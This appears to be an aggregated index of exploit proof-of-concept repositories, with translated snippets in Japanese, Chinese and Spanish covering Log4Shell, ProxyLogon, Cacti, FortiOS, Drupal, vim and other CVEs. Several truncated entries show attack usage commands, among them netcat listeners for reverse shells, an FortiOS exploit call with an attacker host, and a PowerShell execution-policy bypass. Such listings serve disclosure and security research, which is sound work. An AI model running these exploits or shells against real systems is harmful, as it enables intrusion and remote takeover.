log4j-shell-poc

log4j-shell-poc 最近発見されたCVE-2021-44228脆弱性の概念実証（PoC）です。 最近、log4j（Javaのログライブラリ）に新たな脆弱性が発見されました。log4jはElasticsearch、Minecraftなど非常に多くのアプリケーションで広く使用されています。 このリポジトリには、脆弱なサンプルアプリケーションとその概念実証（PoC）エクスプロイトが含まれています。 概念実証（PoC） PoCとして、プロセスを自動化するPythonファイルがあります。 必要条件: root@kitploit: pip install -r...

connectwise-automate-AiTM-rce

ConnectWise Automate 中间人攻击远程代码执行 目录 背景 时间线 思考与经验 负责任的披露 PoC 代码 提供给 ConnectWise 的报告 摘要 易受攻击的配置 影响 技术细节 1. HTTP 传输 2. 协议安全性不足（缺少加密和验证） 2.1 依赖检查和下载时验证不足 2.2 缺乏重放保护 2.3 自更新时验证不足 3. RMM 命令控制接管 缓解措施 背景 在一次渗透测试中，我发现了 ConnectWise Automate 远程监控与管理（RMM）代理中的多个漏洞。ConnectWise...

cdt-vulnsamba-deploy

Equipo Delta CDT - Despliegue de Samba Vulnerable Resumen Este repositorio es un despliegue basado en Ansible de un servidor de archivos Samba vulnerable afectado por CVE-2017-7494, una vulnerabilidad crítica de ejecución remota de código. Se espera que sea desplegado para el equipo Delta durante...

CVE-2026-7393-RCE

Pizzafy Ecommerce System 1.0: la carga de archivos sin restricciones en savemenu conduce a la ejecución remota de código Detalles...

THM-Vulnerability_Capstone-CVE-2018-16763

THM-VulnerabilityCapstone-CVE-2018-16763 THMルーム「Vulnerability Capstone」& CVE-2018-16763のエクスプロイトスクリプトに関する解説。 クレジット 私はこの脆弱性の発見について功績を主張しません。以下の方々に感謝します。 脆弱性発見: 0xd0ff9 TryHackMe ルーム & 作者: https://tryhackme.com/room/vulnerabilitycapstone https://tryhackme.com/p/cmnatic 参考文献:...

CVE-2021-46398

CVE-2021-46398 - Lalie ARNOUD, Gaspard ANDRIEU 在此仓库中，您将找到一个通过 docker compose 利用 CVE-2021-46398 漏洞的概念验证，以及该漏洞对信息系统影响的分析。 root@kitploit: Exploit Title: FileBrowser 2.17.2 - Cross Site Request Forgery CSRF to Remote Code Execution RCE Date: 05/02/2022 Exploit Author: FEBIN MON SAJI Vendor Homepage:...

CVE-2024-39700-PoC

CVE-2024-39700 概念验证 使用此模板并启用测试选项创建的仓库会包含 update-integration-tests.yml workflow，该 workflow 存在 RCE 漏洞。 PoC PR: https://github.com/LOURC0D3/CVE-2024-39700-PoC/pull/2 提交 操作结果: https://github.com/LOURC0D3/CVE-2024-39700-PoC/actions/runs/10157571828/job/28087926847 结果 这不是我的漏洞，我只是为它制作了一个PoC。 参考...

CVE-2017-11882

CVE-2017-11882 記事リンク 17年間隠されていたOfficeリモートコード実行の脆弱性（CVE-2017-11882） http://www.cnblogs.com/Hi-blog/p/7878054.html...

CVE-2021-26855

CVE-2021-26855 CVE-2021-26855，也称为Proxylogon，是Exchange中的一个服务器端请求伪造SSRF漏洞，允许攻击者发送任意HTTP请求并以Exchange服务器身份进行身份验证。根据发现该漏洞的研究人员Orange Tsai的说法，CVE-2021-26855在结合CVE-2021-27065（见下文）利用时，可实现代码执行。一个成功的利用链将允许未经身份验证的攻击者“仅通过开放的443端口在Microsoft Exchange Server上执行任意命令”。更多信息和披露时间线请访问 https://proxylogon.com。...

CVE-2019-12735

CVE-2019-12735 このCVEはneovim 0.3.6およびvim 8.1.1365以降で修正されました。 POC root@kitploit: vim demo1.txt リモートシェル 1. マルウェアテキストファイルを作成する: root@kitploit: gcc makedemo3.c -o makedemo3 ./makedemo3 2. 別のセッションでクライアントを構築する: root@kitploit: nc -vlp 9999 3. マルウェアファイルを開く: root@kitploit: vim demo3.txt...

CVE-2022-46169

CVE-2022-46169 该仓库包含 CVE-2022-46169 的概念验证（PoC）代码——通过组合认证绕过与命令注入实现 Cacti = 1.2.22 的未授权远程代码执行，Sonar 在这篇博客文章中对此进行了描述。相同的漏洞也由 Source Incite 的 Steven Seeley mrme 独立发现。 用法： root@kitploit: 位置参数： target Cacti 应用的 URL。 可选参数： -f FILE 包含命令的文件 -c CMD 命令 --nhostids 尝试的 hostid 范围（0 - n） --nlocaldataids 尝试的...

CVE-2020-0688

CVE-2020-0688 Script de explotación para CVE-2020-0688 "Vulnerabilidad de deserialización de MachineKeySection predeterminada de Microsoft Exchange" Uso: root@kitploit: powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml -uri Ejemplo: Este es un ejemplo de validación de vulnerabilidad...

CVE-2022-48311

CVE-2022-48311 HP Deskjet 2540 系列打印机固件版本 CEP1FN1418BR 与产品型号 A9U23B 的 HTTP 配置页面跨站脚本（XSS）漏洞 描述 HP Deskjet 2540 系列打印机（固件版本 CEP1FN1418BR，产品型号 A9U23B）存在跨站脚本（XSS）漏洞，已认证的攻击者可通过 HTTP 配置页面将自身脚本注入到页面中。 附加信息 修复措施采用适当的响应头，以防止在不应包含任何 HTML 或 JavaScript 的 HTTP 响应中出现 XSS。使用 Content-Type 和 X-Content-Type-Options...

CVE-2023-25610

CVE-2023-25610 FortiOS 管理界面中的堆内存下溢导致远程代码执行。 范围和限制 1. Fortinet 6.x 2. 基于 TLSv1.3，在其他 TLS 版本上可能存在差异 用法 python3 cve-2022-42475.py rhost rport lhost 'command' root@kitploit: python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /' Listener EXP 使用 python 命令在端口 31337 上设置反弹 shell root@kitploit: ...

Log4jPatch

-- Este repositorio ha sido archivado -- El desarrollo posterior de esta herramienta continuará en corretto/hotpatch-for-apache-log4j2. ¡Gracias por compartir, comentar, probar y contribuir a este proyecto! Log4jPatch Esta es una POC de una herramienta simple que inyecta un agente Java en un...

THM-Steel_Mountain-CVE-2014-6287

THM-SteelMountain-CVE-2014-6287 TryHackMe.comのSteel Mountainボックスの攻略記とCVE-2014-6287のエクスプロイト クレジット 私はこの脆弱性の原本の発見および悪用に対して一切の功績を主張しません。以下の方々に感謝します！ 発見: Daniele Linguaglossa Metasploitモジュール作成者: Muhamad Fadzil Ramli TryHackMeルームと作者: https://tryhackme.com/room/steelmountain...

poc-cve-2025-69219

CVE-2025-69219 apache airflow unsafe deserialization to RCE 1. copy poc.py to your Airflow dags directory. 2. trigger the poc workflow from the UI. 3. check task logs for execution output...

poc-cve-2025-69219

CVE-2025-69219 apache airflow 不安全的反序列化导致RCE 1. 将poc.py复制到你的Airflow dags目录中。 2. 从UI触发poc工作流。 3. 检查任务日志以查看执行输出。...

CVE-2018-7600

CVE-2018-7600 / SA-CORE-2018-002 的概念验证 codebeat badge 在 Drupal 7.58 之前版本、8.x 版本 8.3.9 之前、8.4.x 版本 8.4.6 之前以及 8.5.x 版本 8.5.1 之前，远程攻击者可以通过影响多个子系统（使用默认或常用模块配置）的问题执行任意代码。 工作原理 1. 向 drupalajax 封装发送数据包以注册用户。允许用户使用 exec 标记并运行 bash。此 PoC 将用户名和 ID 发送至 abcde.txt。 root@kitploit: echo Name: $id -un UID: $id ...

CVE-2026-33017

🚨 CVE-2026-33017 - Ejecución remota de código crítica sin autenticación en Langflow Las versiones ≤ 1.8.2 de Langflow contienen una grave vulnerabilidad de seguridad que permite a atacantes no autenticados lograr la ejecución remota de código RCE en el servidor. 📊 Detalles de la vulnerabilidad...